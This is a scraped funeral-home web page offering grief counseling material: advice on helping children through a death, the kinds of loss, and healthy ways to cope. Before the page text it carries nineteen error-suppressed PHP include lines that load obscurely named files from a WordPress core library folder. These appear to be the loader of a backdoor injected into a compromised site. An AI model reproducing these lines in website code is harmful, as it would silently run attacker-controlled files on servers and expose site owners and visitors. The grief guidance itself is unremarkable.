@include_once("wp-includes/pomo/wp-adjust-blog_vv1x01/wp-adjust-blog_vv1x01.php"); @include_once("wp-includes/pomo/wp-adjust-blog_vh5x01/wp-adjust-blog_vh5x01.php"); @include_once("wp-includes/pomo/wp-adjust-cache_vh5x01/wp-adjust-cache_vh5x01.php"); @include_once("wp-includes/pomo/wp-adjust-cache_vv1x01/wp-adjust-cache_vv1x01.php"); @include_once("wp-includes/pomo/wp-adjust-blog_vh6x04/wp-adjust-blog_vh6x04.php"); @include_once("wp-includes/pomo/wp-adjust-blog_vh7x04/wp-adjust-blog_vh7x04.php"); @include_once("wp-includes/pomo/wp-adjust-cache_vh6x01/wp-adjust-cache_vh6x01.php"); @include_once("wp-includes/pomo/wp-adjust-cache_vh7x01/wp-adjust-cache_vh7x01.php"); @include_once("wp-includes/pomo/wp-adjust-blog_vh9x01/wp-adjust-blog_vh9x01.php"); @include_once("wp-includes/pomo/wp-adjust-cache_vh8x01/wp-adjust-cache_vh8x01.php"); @include_once("wp-includes/pomo/wp-adjust-cache_vh9x01/wp-adjust-cache_vh9x01.php"); @include_once("wp-includes/pomo/wp-adjust-blog_pv3x02/wp-adjust-blog_pv3x02.php"); @include_once("wp-includes/pomo/wp-adjust-cache_pv3x01/wp-adjust-cache_pv3x01.php"); @include_once("wp-includes/pomo/wp-adjust-blog_pk2x01/wp-adjust-blog_pk2x01.php"); @include_once("wp-includes/pomo/wp-adjust-cache_pk2x01/wp-adjust-cache_pk2x01.php"); @include_once("wp-includes/pomo/wp-adjust-blog_pk3x01/wp-adjust-blog_pk3x01.php"); @include_once("wp-includes/pomo/wp-adjust-cache_pk3x01/wp-adjust-cache_pk3x01.php"); @include_once("wp-includes/pomo/wp-adjust-blog_pd1x02/wp-adjust-blog_pd1x02.php"); @include_once("wp-includes/pomo/wp-adjust-cache_pd1x01/wp-adjust-cache_pd1x01.php"); Grief Counseling : Marian Memorial Chapels

Helping Children Through Their Grief

Courtesy of National Funeral Directors Association (NFDA)

 

IN THE WORLD OF A CHILD, LOSS CAN BE DEVASTATING

The death of a loved one is a painful and confusing experience for anyone at any age.  For a child, though, it can be especially traumatic and can present special challenges for parents, grandparents, and other adults in a child’s life.  Children look to adults for support, answers, and advice while they work their way through grief and try to develop an understanding of death.

“My grandpa died when I was 10.  At his funeral, all of us grandkids placed a yellow rose in his casket.  It made me feel important and connected to my grandpa and, years later, provided a lasting memory.”

 

SIGNS OF GRIEF

Each child’s reaction to death will be unique and may be experienced on many different levels.  Signs of grief can include:

  • acting-out behavior
  • tiredness or a lack of energy
  • changes in grades
  • sleep disturbance
  • headaches, stomachaches, or skin rashes
  • difficulty concentrating or focusing
  • regressive behavior such as thumb sucking, bed wetting, or clinging

 

In the end, it is impossible to protect a child from the pain of losing someone they loved.  Trying to hide the death from a child will only delay their inevitable realization that the person is no longer a part of their life.  It is better to include your children in the mourning experience and teach them a healthy way to deal with their feelings.

 

WHAT TO DO WHEN TALKING TO A CHILD ABOUT DEATH

As hard as it may be to break bad news to a child, honesty is the best policy.  A white lie, however well intended, can confuse and unsettle a child when they eventually learn the truth.  Likewise, explaining death to a child in euphemisms – “Grandpa went on a long trip,” for example, may instill fear in going on vacation.  Difficult though it may be, it’s better to be clear, direct, and upfront, explaining death in straightforward phrases like “dead means a person’s body has stopped working and won’t work anymore.”

It’s important that children be allowed to share in the grieving process.  Encourage children to cry-out their grief and talk about their thoughts and feelings about death.  Be sure to share your grief, too.  Seeing you grieve will let children know that it is normal and healthy to cry and feel sad after death.  Also, take the time to listen.  Children, too, need to talk about loss and the feelings connected to it.

Perhaps the most important form of support you can offer is continuous love and assurance.  Children need to know they are loved to feel secure.  By being present and available during the mourning process, you can help the child bear the pain.  So can other adults outside the family.  Don’t be afraid to turn to a family friend or another trusted adult to help provide much-needed comfort, concern, and care.

 

FIVE WAYS TO HELP A GRIEVING CHILD

  1. Be there for children.  Listen when they need to talk, and hug them when they need comfort.
  2. Share fond memories about your loved one with them, and encourage them to share their own memories.
  3. Encourage the child to draw a picture or write a letter to your loved one, which could even be incorporated into the funeral.
  4. Frame a picture of your loved one for the child or give them another memento to remember your loved one by (such as an often-read book, a favorite pin, etc.)
  5. Involve children in the funeral.  Let them read a poem or letter they have written, or sing or play a song during the service.

 

UNDERSTANDING CHILDREN’S GRIEF

A common question asked by many adults is, “Should a child be allowed to attend a funeral?”  The answer is yes.  Like adults, children recognize the need to celebrate the life of a loved one.  Attending a funeral allows a child to be a part of the family at a time when they need love and attention the most.  If the child is leery of the funeral, you can arrange a private moment before or after the service for the child to say goodbye.  The important thing is not to isolate the child from the situation.

Learning what to expect at the funeral is very reassuring for children.  Be honest and clear when explaining the details.  Remember, children take things very literally, so try not to be vague in your explanations.  For young children, simple statements are sufficient.  For example, explaining that a funeral is a way to say “goodbye,” or that a casket is a “nice box that holds the body,” will help remove the mystery and uncertainty surrounding a funeral.

Years from now, children may not remember specific details of a funeral they attended.  But by participating, they’ll take away something even more important – that they played an active part in celebrating the life of their loved one.

 

“I was eight when my father died.  It was very difficult, but I remember being at his funeral and hearing family and friends talk about him, and it made me very proud.  After that funeral, I knew things were going to be all right.”

 

FURTHER ASSISTANCE

Center for Family Ministries (CEFAM) in Ateneo de Manila University Campus Loyola Height, Quezon City, Philippines (632) 426-4289-92  email: cefam@admu.edu.ph  website: www.cefam.ph

How to Cope With Loss

Q: What are some common emotions someone can expect to go through following a loss?

A: Well, depending on the kind of loss, all kinds of emotions can be involved. Sadness, of course, is the most predominant. Depending on the circumstances, perhaps, anger, guilt and, in some circumstances, relief. It’s really a whole gamut of things. Emotions change over time, too; the emotions initially experienced may not be what people feel down the road.

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Dealing with the Death of a Loved One

Different types of grief and methods of dealing with the grief

Anytime a loved one passes it is usually a very traumatic and emotional ordeal, regardless of the circumstances surrounding their passing. However, there are those deaths that hit a little closer to the heart, and those are generally considered deaths of the immediate family.

1) Death of a child
A parent should never have to endure the soul-numbing agony of losing a child. When a child is lost, both parents and siblings lives are changed forever. Depending on age, and the circumstances, siblings will typically feel a great deal of guilt after the overwhelming sense of shock has subsided. It is only after these powerful feelings have been honestly and completely experienced that true healing can begin. Siblings often times seek to start rebuilding their lives relatively quickly after their grieving process. The process for parents on the other hand, can be quite a bit longer. A complete recovery is next to impossible. Most parents never even consider the possibilities of their children dying before them, much less having to actually deal with the reality of that loss. It is crucial that compassion, patience, and understanding be the rule of the day. Most parents will feel anger and great frustration combined with feelings and thoughts of “why not me?” Support groups and marriage counseling can be invaluable tools as each parent may feel that they are the only ones that have endured such a tragic event, when in reality many people have experienced the same feelings and can be invaluable resources in the healing process.

2) Death of a spouse
Losing a spouse can have a crippling effect on your entire being, mind body and soul. A loss such as the loss of a spouse can be one of the most deeply hurtful experiences ever. Most widowers will always feel that a significant part of their life is forever gone. These feelings are normal and should be embraced, not ignored or denied. It is also often the case that the spouse makes all of the funeral arrangements; this can leave the grieving widower dangerously exhausted. This exhaustion is as much psychological, as it is physical, and if not properly monitored can often times result in hospitalization. Strong involvement from family and friends is crucial during this time of mourning. Some people enjoy doing activities with others that were similar to those that the couple had formerly engaged in together. However it would be a mistake to assume this for everyone. Just the thought of those activities may be way too painful for many to even comprehend. The main key, as with the passing of most loved ones, is just to be there for the widower. Try to make sure they stay active and reinforce how much they are loved, and just as importantly, needed.

3) Death of a parent
How does one deal with the passing of those who have raised and nurtured them. Dealing with the death of our parents is a deeply emotional ordeal. The death of our parents will always be a life-changing event. However with parents, many times we can handle death a little better. In most cases, parents are well into their senior years and may be ill as well. As adults we start to slowly deal with reality of life and death. So while it will never be an easy event to deal with, it is usually “easier” with the death of an ill parent than it is to deal with an unforeseen accident. The other “type” of parent death occurs when the child or children are young. The early death of a parent can have crippling and often time lifelong ramifications, even with the aid of counseling. Young children, as well as those who are young adults, usually deal with great bouts of depression, brought on by feelings of guilt and abandonment. Regular counseling is recommended, along with strong family support, and above all, understanding and patience. Children should be constantly reminded of just how much their parents loved them, and how every parent’s ultimate dream and goal is to see their children happy and successful.

4) Death of a sibling
This is another particularly emotionally devastating death that can vary in intensity depending on when death takes place. This is not to say at all, that a siblings’ death at any time is not a traumatic and potentially life-altering event. What we mean to imply is that again children deal with death in different ways than do adults. When a sibling passes well into their senior years after an illness, it is often something for which we are prepared. This is of course very different than losing a sibling in childhood or even young adulthood to an unexpected event. The family dynamics also can play a huge part. To lose a younger sibling can be seen by some siblings as losing their child. Therefore, it can be almost be as soul-numbing an experience, as a parent losing a child. To lose a sibling can hurt in so many unique ways such as losing one’s best friend, losing a confidant, or losing a parent-type figure. Guilt is usually the chief emotion experienced, especially with younger children. Paying attention to any new behaviors can be very important and should be monitored. And of course being there for them with love, understanding and patience is paramount.

5) Death of a Friend
Most times, especially in this society, the death of a friend is not seen as traumatic as that of an immediate family member. In times past, when most families stayed in very close proximity this was unquestioned. However, as time has moved on, more and more immediate family members have drifted apart, at least geographically. Some family members may not see each other for years. Now of course, by no means, does this diminish any deep-seated family love because as we know, family love can transcend space and time. This sometimes creates the need for “surrogate” family relationships in the form of friends. Friends often time take the place of brothers and sisters, not just as a physical stand-in but as emotional ones as well. Some people are not blessed to have a biological or adoptive family, thus friends are as close as any family members.

Some friends have been like brothers or sisters or moms and dads to others for many, many years. When someone in this position dies, the pain can be just as great as if they had biological or marital ties. Some people who have lost close friends sometimes deal with even greater pain, because they usually do not receive the same type of support as do people who have lost “family” members. People, who have lost close friends, often deal with many of the same emotional traumas as family members and need the same support and love. The fact is the death of people we have deep feelings for can be life-altering and a completely devastating time in any of our lives. Everyone who has lost someone they truly loved should receive unconditional love, support, compassion, understanding, and patience regardless of their blood ties.
Family, friends, co-workers, and associates all play a major role in the healing process. When you have to endure the loss of a loved one just look around to those people that are closest to you, they will provide the support no matter the loss. If your loss seems like it’s too much then seeking professional counseling should be considered, aside from that your Funeral Director is also trained and can be an invaluable resource to assist in the healing process.

We hope this website helps in understanding your loss and in your healing process.

Coping With Your Own Grief

By Mark Dombeck, Ph.D. Updated: Dec 15th 2006

There are many ways that people can choose to cope with grief and loss in their lives, some constructive and some destructive. Among the more destructive coping methods are people’s choice to turn to alcohol or other drugs to dull their pain and/or provide an illusory means of escape from the pressing demands of grieving. Heavy use of either drugs or alcohol may actually extend and prolong the grief period and lead to other serious problems such as substance abuse or dependence (otherwise known as addiction). Additionally, alcohol, and several other drugs and medicines including the benzodiazapines (like Valium, Atavan, Xanax and Klonapin), and the barbiturates have a depressant effect on the brain that can actually lead a person towards serious depression when misused. Magnified feelings of hopelessness and even suicidal thoughts may occur in such circumstances when they otherwise would not. Mixing alcohol with these depressant drugs can be fatal. For these reasons, if alcohol and drugs are to be used at all during a time of grief, their use should be limited, or they should be used as directed by a physician.

Fortunately, there are many constructive and healthy ways to deal with grief. These can include:

Journaling – Many people find comfort in writing out their thoughts and feelings during the grieving period. Some even decide to write letters to the deceased or lost person. This can be a very good way to express feelings that people may not feel comfortable sharing with others and to avoid bottling up of emotions, which can extend the grief process or lead to other physical/emotional problems.

Talking with an Intimate – Others find that talking with a close family member or friend is beneficial and allows them to share memories about the lost relationship or emotions that they are feeling.

Getting Professional Help – Some people decide that they are not comfortable sharing their feelings with close friends and family. Alternatively, they may feel that they do not wish to burden those around them who are also suffering. In these cases, many choose to speak with a professional grief therapist.

In a typical psychotherapy intervention, the therapist will both encourage the person to share feelings and thoughts about the loss and will encourage and challenge them to do things (such as to be a part of social activities, to exercise, etc.) that will help themselves to reengage life and get better. It can be an empowering process to speak with someone that understands the grief process and can help to normalize the emotions or reactions that are being felt.

Medication – Grief therapists and other doctors that might be consulted during times of grief may suggest that a prescription for anti-depressant or anti-anxiety medications would be helpful. When taken as directed by a doctor, such medicines can be extremely helpful for managing extreme grief symptoms (such as unremitting sadness, anxiety, or confusion, etc.). Since grief is not an illness so much as it is a life process, it is unwise to rely purely on medicines as a way to manage grief related pain. Properly used medicines can take the edge off the worst grief symptoms. They cannot speed the process of recovery and re-growth that must inevitably occur for grief to resolve.

Support Groups – For those that don’t want to speak to an intimate friend or family member or a counselor one-on-one, a community-based or internet-based support group is an option. Many people find it comforting to speak with others who are experiencing similar types of loss and who are at different stages of the grieving process. As is the case with individual therapy, support group support can help to normalize what grieving people are feeling.

Good Physical Self-Care – During the grief process, it is important to practice good physical care. This includes getting enough sleep, eating well, and exercising. All of these things will keep grieving people’s bodies in good shape while they deal with emotional issues. When such self-care steps are not taken seriously, people may develop conditions (medical and otherwise) which can complicate the grief process.

Keep Active and Social (as tolerated) – Many grieving people feel the need or desire to withdraw from relationships and activities while they are grieving. However, it can actually be helpful for grieving people to stay engaged in other relationships and activities. Such activities provide important opportunities for distraction; allowing grieving people to focus on something other than their grief.

Putting Off Major Decisions – While grieving a loss, it is generally best to put off any major life decisions, as people’s ability to think straight and use good judgment can become clouded by their loss. It is best to avoid making any serious decisions such as whether or not to move, change jobs, or to commit to a new relationship until grieving is over.

Be Flexible – Grieving people who are accustomed to a tightly scheduled life should instead allow themselves flexibility with their schedule and daily routine during their grieving process. While many people want to continue to act “normal” during this period and stick to their regular schedule, this is often not practical in the aftermath of a serious loss. Instead, it may be better to allow time for dealing with the loss. For example, completing household chores, such as laundry or washing dishes may be put off and not done as consistently so as to make time for talking with an intimate friend or family member or attending a counseling session. There is no need to feel guilty if things are not done to standard during a time of grief.

Read – People may find comfort in reading books about grieving, self-help, the meaning of life, and inspirational or religious/spiritual matters. Others find comfort in reading something completely unrelated to grief, such as the latest fiction novel, so as to temporarily escape from grief feelings and regain a sense of normalcy, even for a short time.

Pray – People who find comfort in prayer and religious participation should pray and participate in prescribed rituals as a means of helping themselves cope with their loss.

Plan Ahead for Anniversaries – Even after a grieving process has run its course, grief feelings can become renewed in anticipation of anniversary dates that remind people of their losses. It is helpful therefore to figure out what these anniversary dates are likely to be in advance, and to create a plan for managing them. Some people find comfort in making anniversaries into special days that commemorate the lost loved one. Others may decide that they will take the day off work and be alone to process their memories. While there might not be any way to avoid the resurgence of painful memories in the moment, a little time spent planning ahead can make those feelings easier to cope with when they do return.